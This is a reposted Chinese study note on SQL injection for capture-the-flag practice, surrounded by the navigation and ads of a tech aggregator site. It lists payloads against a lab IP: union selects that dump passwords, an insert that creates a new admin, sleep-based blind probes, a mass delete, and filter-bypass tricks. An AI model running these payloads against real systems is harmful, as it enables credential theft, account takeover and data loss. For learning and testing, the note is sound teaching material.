IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> CTF从零到一 SQL注入攻击 -> 正文阅读

[大数据]CTF从零到一 SQL注入攻击

1.SQL注入攻击是开发者在开发程序时,对客户输入的参数过滤不严格,导致用户能更改数据库。
一.数字型注入:
1.访问链接http://192.168.20.133/sqll.php?id=2的页面和http://192.168.20.133/sqll.php?id=3-1的页面一样,可以说明这个注入点是数字型注入。表现为源码输入点“$_GET['id']”附近没有引号包裹。
2.链接模板:http://192.168.20.133/sqll.php?id=1 union select user,pwd from wp_user
3.limit 1,1:条件限定,作用是查询结果第二条记录后的1条记录。
二.字符型注入:
1.访问http://192.168.20.133/sql2.php?id=3-1的页面为空,猜测不是字符型,继续访问http://192.168.20.133/sql2.php?id=2a,有页面,说明是字符型注入。
2.空格的编码是“%20”,“'”的编码是“%27”,“#”的编码是“%23”。
3.访问http://192.168.20.133/sqll.php?id=1%27%23的sql语句是id = '1'#',后面的操作就与数字型注入一样了。
4.whereselect操作的一个判断条件,1' and '1 相当与sql语句的'1' and '1'
5.布尔盲注:通过注入来推测出数据
三.报错注入:
四注入点:
(一)、select:用于数据表记录的查询
2.注入点在select的后面:http://192.168.20.133/sqln1.php?id=(select pwd from wp_user) as title
3.注入点在表名之后:http://192.168.20.133/sqln1.php?id=select title from (select pwd AS title from wp_user)x
4.如果注入点有反引号要先闭合反引号
5.注入点在wherehaving后:先判断有无引号包裹,有的话注释掉,没有的话直接注入
6.注入点在GROUP BY或者ORDER BY后:title=id desc,(if(1,sleep(1),1))会让页面迟1秒
7.sql注入攻击之所以存在,是因为开发者在编写系统框架时,无法使用预编译的办法处理这类参数;只要对输入的值进行白名单比对,就可以预防大部分的sql攻击。
8.注入点在limit之后:
(二)、insert:插入数据表的sql语句
1.注入字段名或字段值的地方,且没有回显信息。
2.注入点位于tbl_name之后:http://192.168.20.133/insert.php?table=wp_user values(2,'newadmin','newpass')%23,成功插入一个新的管理员
3.注入点位于VALUES:
(三)、update:数据库记录的更新。
2.update语句:
1.update wp_user set id=3 where user ='23';
2.update wp_user set id=3, user='xxx' where user ='23';
1.delete:删除某个表的全部或指定行的数据,注入点通常在where
delete语句:1.delete from wp_news where id=1 or 1;
2.delete from wp_news where id=1 and sleep(1);
五.注入与防御:
1.可以代替空白符的有:%0a%0b%0c%0d%09%a0(在特定字符集才可以使用)和/**/()
2.将select替换为空:可以用嵌套的方式,例如seselectlect形式,过滤后为select。可以用大小写的方式"sEleCt"。
select语句:http://192.168.20.132/replace.php?id=-1%09union%09seselectlect%091,2
3.正则匹配:
4.替换了单引号或双引号,忘记了反斜杠:
5.逃逸引号:

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-09-13 09:20:26  更:2021-09-13 09:21:45 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 20:54:47-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码